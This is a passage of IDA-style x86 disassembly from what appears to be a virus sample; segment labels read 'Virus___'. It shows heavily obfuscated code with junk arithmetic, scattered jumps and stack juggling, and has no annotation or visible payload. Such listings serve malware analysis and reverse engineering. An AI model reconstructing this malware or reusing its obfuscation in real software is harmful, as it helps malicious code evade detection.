; ---------------------------------------------------------------------------


loc_54E839:				; CODE XREF: sub_545A2B+138Bj
		or	ebx, ebp
		pop	ebp
		inc	ebx
		add	ebx, 0F3D8A46Ah
		mov	edi, ebx
		jmp	loc_54CDF4
; ---------------------------------------------------------------------------


loc_54E84A:				; CODE XREF: sub_545A2B+1CACj
		pop	ebx
		xchg	eax, [esp-36h+arg_32]
		pop	esp
		or	eax, eax
		jz	loc_54D039
		push	edx
		mov	edx, 39B911A1h
		jmp	loc_54D1A2
; ---------------------------------------------------------------------------


loc_54E862:				; CODE XREF: sub_545A2B+36C5j
		xor	al, dl
		mov	dx, word ptr [esp-1Ch+arg_16+2]
		push	edi
		sub	esp, 4
		mov	[esp-14h+arg_E+2], esp
		push	esi
		mov	esi, 4
		add	[esp-10h+arg_E+2], esi
		pop	esi
		mov	edi, [esp-14h+arg_E+2]
		jmp	loc_54B788
; ---------------------------------------------------------------------------


loc_54E885:				; CODE XREF: sub_545A2B+2AA2j
		push	[esp-24h+arg_1E+2]
		pop	eax
		push	ebx
		push	eax
		mov	eax, esp
		jmp	loc_544F66
; ---------------------------------------------------------------------------


loc_54E892:				; CODE XREF: sub_545A2B+7D1Aj
		push	esi
		mov	esi, 437E1759h
		neg	esi
		xor	esi, 0C65E970Ah
		sub	ecx, esi
		pop	esi
		sub	edx, ecx
		mov	ecx, [esp-12h+arg_E]
		jmp	loc_54AB61
; ---------------------------------------------------------------------------


loc_54E8AD:				; CODE XREF: sub_545A2B+794Bj
		push	edx
		mov	edx, 4F3254Eh
		add	edx, 1C14BE7h
		sub	ebx, edx
		jmp	loc_544B09
; ---------------------------------------------------------------------------


loc_54E8C0:				; CODE XREF: sub_545A2B+704j
		add	al, 49h
		add	al, bl
		sub	al, 49h
		jmp	loc_548578
; ---------------------------------------------------------------------------


loc_54E8CB:				; CODE XREF: sub_545A2B+9547j
		mov	ecx, 30A41B7Eh
		jmp	loc_5436FB
; ---------------------------------------------------------------------------


loc_54E8D5:				; CODE XREF: sub_545A2B+4183j
		push	esi
		mov	esi, 0C304F3Ah
		dec	esi
		add	esi, 370AD8D8h
		sub	edx, esi
		pop	esi
		dec	edx
		or	edx, 6E8F4B3Eh
		xor	edx, 719BB416h
		sub	ebp, edx
		jmp	loc_5465E0
; ---------------------------------------------------------------------------


loc_54E8F9:				; CODE XREF: sub_545A2B-234Bj
		pop	[esp-0Eh+arg_A]
		mov	esp, [esp-12h+arg_E]
		mov	[esp-12h+arg_E], edi
		jmp	loc_543326
; ---------------------------------------------------------------------------


loc_54E907:				; CODE XREF: sub_545A2B+53Bj
		xchg	edx, [esp-22h+arg_1E]
		pop	esp
		push	0CEEh
		mov	[esp-22h+arg_1E], eax
		sub	esp, 4
		mov	[esp-1Eh+arg_1A], esp
		add	[esp-1Eh+arg_1A], 4
		pop	eax
		jmp	loc_54A623
; ---------------------------------------------------------------------------


loc_54E923:				; CODE XREF: sub_545A2B+5790j
		add	esp, 4
		add	bl, 5Ah
		sub	bl, al
		sub	bl, 5Ah
		jmp	loc_54C134
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E933	proc near		; CODE XREF: sub_545A2B+8446j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 419E55F4h
		sub	eax, 77DE6BD1h
		sub	eax, edi
		add	eax, 77DE6BD1h
		push	[esp+4+var_4]
		pop	edi
		add	esp, 4
		add	eax, 4BFE62EEh
		push	ebp
		push	esi
		push	edx
		push	ebp
		mov	ebp, 7DC73C3Ch
		or	ebp, 36032FCBh
		jmp	loc_545C36
sub_54E933	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E970:				; CODE XREF: sub_545A2B-C13j
		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp-42h+arg_3E], ebx
		sub	esp, 4
		mov	[esp-3Eh+arg_3A], edi
		mov	edi, 2
		mov	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		xor	eax, [esp-46h+arg_42]
		xor	[esp-46h+arg_42], eax
		xor	eax, [esp-46h+arg_42]
		pop	esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-46h+arg_42]
		jmp	loc_54B06B
; ---------------------------------------------------------------------------


loc_54E9AE:				; CODE XREF: sub_545A2B+D8Ej
		xor	si, 58BBh
		push	small 6EAFh
		mov	word ptr [esp-46h+arg_42], si
		push	di
		mov	di, 7E70h
		sub	word ptr [esp-44h+arg_42], di
		pop	di
		mov	dx, word ptr [esp-46h+arg_42]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 2
		jmp	loc_5483D1
; ---------------------------------------------------------------------------


loc_54E9DF:				; CODE XREF: sub_545A2B-1827j
		pop	esi
		pop	ebx
		sub	esp, 4
		mov	[esp-26h+arg_22], eax
		push	ebx
		mov	ebx, 60F10284h
		neg	ebx
		or	ebx, 0C195100h
		shl	ebx, 1
		jmp	loc_54BCB9
; ---------------------------------------------------------------------------


loc_54E9FF:				; CODE XREF: sub_545A2B+73CAj
		and	ebp, edi
		pop	edi
		sub	ebp, 69694FADh
		push	0
		sub	[esp-12h+arg_E], ebp
		pop	ebp
		jmp	loc_5447B0
; ---------------------------------------------------------------------------


loc_54EA16:				; CODE XREF: sub_545A2B+6B8Dj
		xor	ebx, eax
		jmp	loc_54406A
; ---------------------------------------------------------------------------


loc_54EA1D:				; CODE XREF: sub_545A2B+992Fj
		mov	[esp+0], esi
		jmp	loc_54E238
; ---------------------------------------------------------------------------


loc_54EA25:				; CODE XREF: sub_545A2B+32D8j
		mov	ah, 97h
		and	ah, 55h
		add	ah, 0BEh
		sub	cl, ah
		pop	eax
		or	bh, cl
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_54E42E
; ---------------------------------------------------------------------------


loc_54EA40:				; CODE XREF: sub_545A2B+658Bj
		add	bl, 0Bh
		push	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-16h+arg_12]
		mov	esp, [esp-16h+arg_12]
		mov	[esp-16h+arg_12], edx
		mov	dh, al
		push	eax
		jmp	loc_54A80C
; ---------------------------------------------------------------------------


loc_54EA64:				; CODE XREF: sub_545A2B+2541j
		mov	bh, 53h
		jmp	loc_54AB3C
; ---------------------------------------------------------------------------


loc_54EA6B:				; CODE XREF: sub_545A2B+D98j
		sub	ebp, esi
		jmp	loc_547B15
; ---------------------------------------------------------------------------


loc_54EA72:				; CODE XREF: sub_545A2B+49B5j
		add	esp, 4
		pop	[esp-10h+arg_A+2]
		pop	esp
		btr	word ptr [esp-18h+arg_12+2], ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54EA87:				; CODE XREF: sub_545A2B-1DB5j
		push	34B4h
		mov	[esp-38h+arg_32+2], edx
		mov	edx, 546302B8h
		push	ebp
		jmp	loc_54AE87
; ---------------------------------------------------------------------------


loc_54EA9A:				; CODE XREF: sub_545A2B-1D76j
		pop	ecx
		push	edx
		push	224346A0h
		pop	edx
		add	edx, 50D14B61h
		dec	edx
		jmp	loc_54DCFA
; ---------------------------------------------------------------------------


loc_54EAAE:				; CODE XREF: sub_545A2B+4F23j
		push	cx
		pushf
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54EAB6	proc near		; CODE XREF: sub_545A2B+1816j
		push	ebx
		mov	ebx, 515E5B3Fh
		shl	ebx, 3
		sub	ebx, 1
		jmp	loc_54BCCD
sub_54EAB6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EAC7:				; CODE XREF: sub_545A2B-2823j
		push	[esp-16h+arg_12]
		pop	ebp
		push	esi
		mov	esi, esp
		jmp	loc_547F12
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54EAD3:				; CODE XREF: Virus___:005441ECj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5464F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EAF6:				; CODE XREF: sub_545A2B+9589j
		pop	esp
		mov	[esp-16h+arg_12], edx
		jmp	loc_546858
; ---------------------------------------------------------------------------


loc_54EAFF:				; CODE XREF: sub_545A2B+556j
		add	eax, esi
		pop	esi
		push	dword ptr [edi+eax*4]
		push	[esp-50h+arg_4C]
		pop	eax
		sub	esp, 4
		mov	[esp-4Ch+arg_46+2], edi
		push	esp
		pop	edi
		add	edi, 4
		push	2969h
		mov	[esp-48h+arg_42+2], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp-4Ch+arg_46+2]
		mov	esp, [esp-4Ch+arg_46+2]
		push	26A5h
		mov	[esp-48h+arg_42+2], edx
		jmp	loc_54EB7B
; ---------------------------------------------------------------------------


loc_54EB3A:				; CODE XREF: sub_545A2B+461Fj
		pop	ecx
		jmp	loc_54DBE3
; ---------------------------------------------------------------------------


loc_54EB40:				; CODE XREF: sub_545A2B+5BF8j
		mov	dx, ax
		jmp	loc_54A3E5
; ---------------------------------------------------------------------------


loc_54EB48:				; CODE XREF: sub_545A2B+8287j
		xor	[esp-36h+arg_32], edx
		xor	edx, [esp-36h+arg_32]
		pop	esp
		mov	[esp-3Ah+arg_36], ecx
		jmp	loc_547A59
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54EB57:				; CODE XREF: Virus___:0054CBD9j
		mov	[esp], ecx
		jmp	loc_547291
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EB5F:				; CODE XREF: sub_545A2B-123Aj
		mov	ebx, [esp-3Ah+arg_36]
		add	esp, 4
		neg	ebx
		sub	ebx, 0CFBBF793h
		jmp	loc_54CD83
; ---------------------------------------------------------------------------


loc_54EB72:				; CODE XREF: sub_545A2B+91Cj
		dec	byte ptr [esp-4Ch+arg_46+2]
		pushf
		jmp	loc_54CB6A
; ---------------------------------------------------------------------------


loc_54EB7B:				; CODE XREF: sub_545A2B+910Aj
		push	7FD8h
		mov	[esp-44h+arg_3E+2], ebp
		push	ecx
		push	67F40E8Bh
		pop	ecx
		inc	ecx
		push	edi
		mov	edi, 492C0605h
		jmp	loc_54C9CB
; ---------------------------------------------------------------------------


loc_54EB96:				; CODE XREF: sub_545A2B+5B06j
		mov	[esp-44h+arg_3E+2], edi
		jmp	loc_54773B
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54EB9E	proc near		; CODE XREF: sub_545A2B-244Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00544C9C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005453D3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0054CB46 SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_54CB46
sub_54EB9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EBA9:				; CODE XREF: sub_545A2B+F1Ej
		pop	edx
		xor	edi, 7FBA13D7h
		push	ebx
		mov	ebx, 1B99550Bh
		sub	ebx, 7CCC3227h
		jmp	loc_54C222
; ---------------------------------------------------------------------------


loc_54EBC1:				; CODE XREF: sub_545A2B+44D2j
		pop	eax
		inc	dl
		jmp	loc_545B3F
; ---------------------------------------------------------------------------


loc_54EBC9:				; CODE XREF: sub_545A2B-2617j
		shr	ebx, 3
		or	ebx, 730F199Ah
		add	ebx, 0E00C3FE4h
		jmp	loc_5449B2
; ---------------------------------------------------------------------------


loc_54EBDD:				; CODE XREF: sub_545A2B+E1Bj
		add	[esp-44h+arg_3E+2], 334E4085h
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54EBE9:				; CODE XREF: sub_545A2B+535Dj
		pop	esp
		pop	ebp
		jmp	loc_546A2A
; ---------------------------------------------------------------------------


loc_54EBF0:				; CODE XREF: sub_545A2B+366Ej
		push	[esp-20h+arg_1E+2]
		pop	edi
		pop	[esp-20h+arg_1A+2]
		mov	esp, [esp-24h+arg_1E+2]
		jmp	sub_545877
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		mov	esi, 140A31C4h
		xor	esi, 47721D21h
		xor	esi, 170B2783h
		jmp	loc_543C1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EC18:				; CODE XREF: sub_545A2B-2057j
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 61C36F01h
		neg	ebp
		sub	ebp, 9E3C90FBh
		jmp	loc_549F08
; ---------------------------------------------------------------------------


loc_54EC2E:				; CODE XREF: sub_545A2B+827Fj
		inc	dh
		not	dh
		add	dh, 0A0h
		xor	dh, 3
		add	cl, 0B1h
		add	cl, dh
		sub	cl, 0B1h
		jmp	loc_54512E
; ---------------------------------------------------------------------------


loc_54EC45:				; CODE XREF: sub_545A2B+14CAj
		xor	dh, 0C2h
		jmp	loc_548414
; ---------------------------------------------------------------------------


loc_54EC4D:				; CODE XREF: sub_545A2B+1E3Bj
		add	al, cl
		jmp	loc_54612E
; ---------------------------------------------------------------------------


loc_54EC54:				; CODE XREF: sub_545A2B+2F7Bj
		push	esi
		mov	esi, 535A63A6h
		jmp	loc_54B1F8
; ---------------------------------------------------------------------------


loc_54EC5F:				; CODE XREF: sub_545A2B+7CB4j
		mov	[esp+0Ah+var_C+2], eax
		mov	eax, 32BD1B17h
		jmp	loc_5455DE
; ---------------------------------------------------------------------------


loc_54EC6C:				; CODE XREF: sub_545A2B+1E92j
		and	edx, 73E67BB8h
		jmp	loc_54E30E
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54EC77	proc near		; DATA XREF: Virus___:00542F14o

var_4		= dword	ptr -4

		mov	cx, [esp+0]
		push	10DFh
		mov	[esp+4+var_4], ebx
		jmp	loc_548C78
sub_54EC77	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EC88:				; CODE XREF: sub_545A2B+2EE5j
		movzx	eax, al
		mov	dx, word ptr [esp-2Eh+arg_2A]
		push	eax
		push	6603h
		jmp	loc_544DFE
; ---------------------------------------------------------------------------


loc_54EC9A:				; CODE XREF: sub_545A2B-68Dj
		pop	edx
		push	eax
		mov	eax, 38h
		add	eax, 10673E6Ch
		sub	eax, 2EBD7859h
		add	eax, edi
		add	eax, 2EBD7859h
		sub	eax, 10673E6Ch
		mov	[eax], bh
		pop	eax
		pop	ebx
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54ECC0	proc near		; CODE XREF: sub_545A2B+753j

; FUNCTION CHUNK AT 005444CE SIZE 00000006 BYTES

		push	ebx
		mov	bl, 0A1h
		push	cx
		mov	cl, 0C5h
		sub	bl, cl
		pop	cx
		sub	al, bl
		jmp	loc_5444CE
sub_54ECC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54ECD2:				; CODE XREF: sub_545A2B+6D43j
		sub	eax, 7A192BF8h
		xor	eax, 2997DD84h
		xor	edx, eax
		jmp	loc_5479DF
; ---------------------------------------------------------------------------


loc_54ECE3:				; CODE XREF: sub_545A2B+D43j
		pop	edi
		jmp	loc_54A9DE
; ---------------------------------------------------------------------------


loc_54ECE9:				; CODE XREF: sub_545A2B+41A0j
		add	esi, edi
		push	ebx
		mov	ebx, 0B2300F9h
		shl	ebx, 8
		jmp	loc_54340E
; ---------------------------------------------------------------------------


loc_54ECF9:				; CODE XREF: sub_545A2B+3646j
		push	edi
		mov	di, 1735h
		shr	di, 6
		jmp	loc_548681
; ---------------------------------------------------------------------------


loc_54ED07:				; CODE XREF: sub_545A2B+93F9j
		push	5F67h
		mov	[esp-1Ah+arg_16], eax
		push	2CA8h
		mov	[esp-16h+arg_12], edi
		push	55FB36DDh
		jmp	loc_547367
; ---------------------------------------------------------------------------


loc_54ED21:				; CODE XREF: sub_545A2B+19A9j
		dec	eax
		sub	eax, 0CE45D926h
		sub	edi, eax
		pop	eax
		push	edi
		jmp	loc_54834A
; ---------------------------------------------------------------------------


loc_54ED30:				; CODE XREF: sub_545A2B+87F1j
		xor	eax, 5F3A4CABh
		jmp	loc_543E0D
; ---------------------------------------------------------------------------


loc_54ED3A:				; CODE XREF: sub_545A2B-72j
		add	ebp, 34CB6635h
		mov	eax, [esp-14h+arg_E+2]
		add	esp, 4
		xor	ebp, [esp-18h+arg_12+2]
		xor	[esp-18h+arg_12+2], ebp
		jmp	loc_54C969
; ---------------------------------------------------------------------------


loc_54ED54:				; CODE XREF: sub_545A2B+DDCj
		inc	ecx
		not	ecx
		xor	ecx, 0A64789B1h
		add	eax, ecx
		jmp	loc_543DE5
; ---------------------------------------------------------------------------


loc_54ED64:				; CODE XREF: sub_545A2B+4016j
		push	ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_54B869
; ---------------------------------------------------------------------------


loc_54ED74:				; CODE XREF: sub_545A2B+555Cj
		mov	dh, 32h
		jmp	loc_5463B4
; ---------------------------------------------------------------------------


loc_54ED7B:				; CODE XREF: sub_545A2B+27ECj
		sub	ecx, eax
		jmp	loc_54D3D0
; ---------------------------------------------------------------------------


loc_54ED82:				; CODE XREF: sub_545A2B-18DFj
		add	edx, 10006CAFh
		sub	edx, eax
		sub	edx, 10006CAFh
		pop	eax
		sub	edx, esi
		add	edx, 31BA051Ah
		pop	esi
		add	edx, eax
		jmp	loc_54EF6A
; ---------------------------------------------------------------------------


loc_54EDA1:				; CODE XREF: sub_545A2B+1DDAj
		add	ebp, eax
		pop	eax
		sub	ebp, 2E00FDBFh
		sub	edx, ebp
		pop	ebp
		jmp	loc_54C10A
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54EDB2	proc near		; CODE XREF: sub_54E10B+29j
		sub	esp, 4
		jmp	loc_546D6A
sub_54EDB2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EDBD:				; CODE XREF: sub_545A2B+BD6j
		add	edx, 4
		xchg	edx, [esp-40h+arg_3A+2]
		pop	esp
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_5462EF
; ---------------------------------------------------------------------------


loc_54EDD0:				; CODE XREF: sub_545A2B+3A32j
		push	444Eh
		jmp	loc_54CF2E
; ---------------------------------------------------------------------------


loc_54EDDA:				; CODE XREF: sub_545A2B+62DAj
		push	eax
		mov	eax, 5B5F0B11h
		jmp	loc_54609D
; ---------------------------------------------------------------------------


loc_54EDE5:				; CODE XREF: sub_545A2B+8329j
		mov	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp-1Eh+arg_1A], ebx
		push	ebp
		mov	ebp, 54605AD4h
		mov	ebx, ebp
		jmp	loc_54C69B
; ---------------------------------------------------------------------------


loc_54EDFB:				; CODE XREF: sub_545A2B+973j
		not	edi
		jmp	loc_54AA28
; ---------------------------------------------------------------------------


loc_54EE02:				; CODE XREF: sub_545A2B+2A70j
		push	ax
		mov	al, ch
		mov	ch, bh
		mov	bh, al
		pop	ax
		not	ch
		xchg	ch, bh
		xor	bh, 0F6h
		jmp	loc_54470D
; ---------------------------------------------------------------------------


loc_54EE18:				; CODE XREF: sub_545A2B+8009j
		neg	eax
		shr	eax, 5
		jmp	loc_546012
; ---------------------------------------------------------------------------


loc_54EE22:				; CODE XREF: sub_545A2B+2E84j
		or	eax, eax
		jz	loc_54ED07
		sub	esp, 4
		mov	[esp-48h+arg_42+2], ebp
		push	0FEh
		pop	ebp
		and	[edi+1Ch], ebp
		mov	ebp, [esp-48h+arg_42+2]
		push	ebp
		mov	ebp, esp
		push	eax
		push	edi
		mov	edi, 77E8665Dh
		shr	edi, 3
		push	ebp
		mov	ebp, 5D3F5EE2h
		shl	ebp, 7
		or	ebp, 35860698h
		add	ebp, 35A00544h
		shr	ebp, 8
		or	ebp, 66A57B52h
		xor	ebp, 2347CACh
		sub	edi, ebp
		pop	ebp
		sub	edi, 3310F7Bh
		jmp	loc_548DCD
; ---------------------------------------------------------------------------


loc_54EE7B:				; CODE XREF: sub_545A2B+28E2j
		sub	bx, 2CADh
		push	edx
		mov	dx, 3429h
		shl	dx, 5
		jmp	loc_54BE01
; ---------------------------------------------------------------------------


loc_54EE8E:				; CODE XREF: sub_545A2B+8D61j
		add	[esp-22h+arg_1E], 63FA4368h
		mov	edi, [esp-22h+arg_1E]
		push	edx
		jmp	loc_54AFD9
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54EE9E	proc near		; CODE XREF: sub_545A2B+2B86j
		push	ebp
		push	1AA60761h
		pop	ebp
		or	ebp, 6E375B2Bh
		shr	ebp, 6
		push	ebx
		mov	ebx, 790C5C7Fh
		push	6EB0h
		jmp	loc_54A459
sub_54EE9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EEBE:				; CODE XREF: sub_545A2B+33C6j
		mov	dh, 84h
		xor	dh, cl
		pop	ecx
		jmp	loc_54BAEE
; ---------------------------------------------------------------------------


loc_54EEC8:				; CODE XREF: sub_545A2B+40EFj
		push	ecx
		jmp	loc_549882
; ---------------------------------------------------------------------------


loc_54EECE:				; CODE XREF: sub_545A2B+87BCj
		mov	bl, dl
		jmp	loc_54B3F6
; ---------------------------------------------------------------------------


loc_54EED5:				; CODE XREF: sub_545A2B+709Ej
		mov	ecx, ebx
		mov	esi, ecx
		pop	ecx
		jmp	loc_54782E
; ---------------------------------------------------------------------------


loc_54EEDF:				; CODE XREF: sub_545A2B+1B38j
		add	eax, 44B3B46Ch
		add	ecx, eax
		pop	eax
		jmp	loc_547A98
; ---------------------------------------------------------------------------


loc_54EEEC:				; CODE XREF: sub_545A2B+98A7j
		xchg	esi, edx
		sub	edx, 54DE3943h
		push	ebx
		jmp	loc_54760B
; ---------------------------------------------------------------------------


loc_54EEFA:				; CODE XREF: sub_545A2B+1E25j
		mov	ebx, 31BF715Eh
		sub	[esp-14h+arg_12+2], ebx
		pop	ebx
		jmp	loc_5455D1
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54EF09	proc near		; CODE XREF: sub_545A2B+9758j
		push	ebp
		mov	ebp, 32FF389Ch
		jmp	loc_54C4AA
sub_54EF09	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EF14:				; CODE XREF: sub_545A2B+F7Fj
		push	4
		pop	ecx
		add	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 2
		jmp	loc_54CF70
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54EF28	proc near		; CODE XREF: sub_545A2B+112Dj
		push	ebx
		mov	ebx, 48E76CC5h
		add	ebx, 0FFFFFFFFh
		and	ebx, 595B1791h
		add	ebx, 1
		jmp	loc_54B194
sub_54EF28	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EF42:				; CODE XREF: sub_545A2B+10B1j
		rol	word ptr [esp-42h+arg_3E], cl
		pushf
		jmp	loc_5439C6
; ---------------------------------------------------------------------------


loc_54EF4C:				; CODE XREF: sub_545A2B+8B53j
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_545F60
; ---------------------------------------------------------------------------


loc_54EF59:				; CODE XREF: sub_545A2B-1CEDj
		mov	esp, [esp-3Ch+arg_36+2]
		mov	cx, word ptr [esp-3Ch+arg_36+2]
		push	592h
		jmp	loc_54F321
; ---------------------------------------------------------------------------


loc_54EF6A:				; CODE XREF: sub_545A2B+9371j
		add	edx, 7372798Ch
		push	edi
		push	ecx
		jmp	loc_54E8CB
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54EF77:				; DATA XREF: Virus___:00542E84o
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 1EF16C96h
		shl	edx, 7
		add	edx, 70971165h
		or	edx, 62FB6C5Fh
		and	edx, 631D4E57h
		push	edi
		push	esi
		mov	esi, 28E5419Fh
		mov	edi, esi
		pop	esi
		shr	edi, 1
		jmp	loc_5493D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EFAA:				; CODE XREF: sub_545A2B+1C8Fj
		mov	esi, edx
		jmp	loc_54454B
; ---------------------------------------------------------------------------


loc_54EFB1:				; CODE XREF: sub_545A2B+960Cj
		xchg	esi, [esp-36h+arg_32]
		jmp	loc_54EAF6
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54EFB9:				; DATA XREF: Virus___:00542E8Co
		mov	ax, [esp]
		jmp	loc_544E68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EFC2:				; CODE XREF: sub_545A2B+3501j
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543A46


loc_54EFC7:				; CODE XREF: sub_543A46+1BB4j
		mov	ecx, [ebx]
		mov	ebx, [esp+0]
		add	esp, 4
		push	766Ah
		jmp	loc_54E774
; END OF FUNCTION CHUNK	FOR sub_543A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54EFD9:				; CODE XREF: sub_545A2B+38C5j
		mov	eax, [esp-52h+arg_4C+2]
		push	eax
		mov	eax, esp
		jmp	loc_543C02
; ---------------------------------------------------------------------------


loc_54EFE4:				; CODE XREF: sub_545A2B+4D0j
		mov	edx, 6945176Eh
		xor	edx, 6945176Ch
		mov	ebp, edx
		pop	edx
		add	edi, ebp
		mov	ebp, [esp-3Ch+arg_36+2]
		add	esp, 4
		xor	edi, [esp-40h+arg_3A+2]
		xor	[esp-40h+arg_3A+2], edi
		xor	edi, [esp-40h+arg_3A+2]
		pop	esp
		or	byte ptr [esp-44h+arg_3E+2], al
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54F00D:				; CODE XREF: sub_545A2B-1E7Bj
		add	edx, edi
		push	ebp
		mov	ebp, 385207E5h
		add	ebp, 1
		sub	ebp, 1912F6F4h
		add	edx, 0A54530Dh
		add	edx, ebp
		sub	edx, 0A54530Dh
		jmp	loc_54AAD9
; ---------------------------------------------------------------------------


loc_54F034:				; CODE XREF: sub_545A2B-24B1j
		sub	esi, 4
		jmp	loc_54EFB1
; ---------------------------------------------------------------------------


loc_54F03C:				; CODE XREF: sub_545A2B+3B99j
		pop	ebx
		or	esi, 571F478Ch
		add	esi, 6E650569h
		inc	esi
		shl	esi, 3
		xchg	ebp, esi
		not	ebp
		jmp	loc_543A71
; ---------------------------------------------------------------------------


loc_54F056:				; CODE XREF: sub_545A2B+7E1Aj
		add	edx, 4B8D1A33h
		add	edx, 699C7A9Eh
		add	edx, edi
		sub	edx, 699C7A9Eh
		push	ebp
		mov	ebp, 6010915h
		push	eax
		jmp	loc_5477EC
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_542FBE


loc_54F076:				; CODE XREF: sub_542FBE+17j
		mov	ebp, 30354518h
		sub	ebp, 1FDD420Eh
		jmp	loc_543663
; END OF FUNCTION CHUNK	FOR sub_542FBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54F086:				; CODE XREF: sub_545A2B-181Cj
		mov	ebx, [esp-1Eh+arg_1A]
		jmp	loc_544E5A
; ---------------------------------------------------------------------------


loc_54F08E:				; CODE XREF: sub_545A2B+5F35j
		xor	ebx, 0EC20B1Dh
		jmp	loc_543C4B
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54F099	proc near		; CODE XREF: sub_545A2B+4CD9j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00543932 SIZE 00000006 BYTES

		push	ebx
		mov	ebx, 3CE4404Fh
		push	ebx
		sub	[esp+8+var_8], 2964B40h
		jmp	loc_543932
sub_54F099	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54F0AC:				; CODE XREF: sub_545A2B+5DD0j
		push	esi
		sub	[esp-1Ah+arg_16], 42286C46h
		pop	edx
		add	edx, 42286C46h
		jmp	loc_54CACE
; ---------------------------------------------------------------------------


loc_54F0C0:				; CODE XREF: sub_545A2B-129j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-1Ch+arg_16+2]
		pop	esp
		shr	ecx, 6
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-1Ch+arg_16+2]
		pop	esp
		mov	[esp-20h+arg_1A+2], esi
		mov	esi, ebx
		push	esi
		pop	eax
		push	[esp-20h+arg_1A+2]
		pop	esi
		jmp	loc_54A4B9
; ---------------------------------------------------------------------------


loc_54F0F3:				; CODE XREF: sub_545A2B+61D6j
		add	ebp, ecx
		pop	ecx
		mov	edx, ebp
		pop	ebp
		push	edx
		not	[esp-30h+arg_2A+2]
		pop	edx
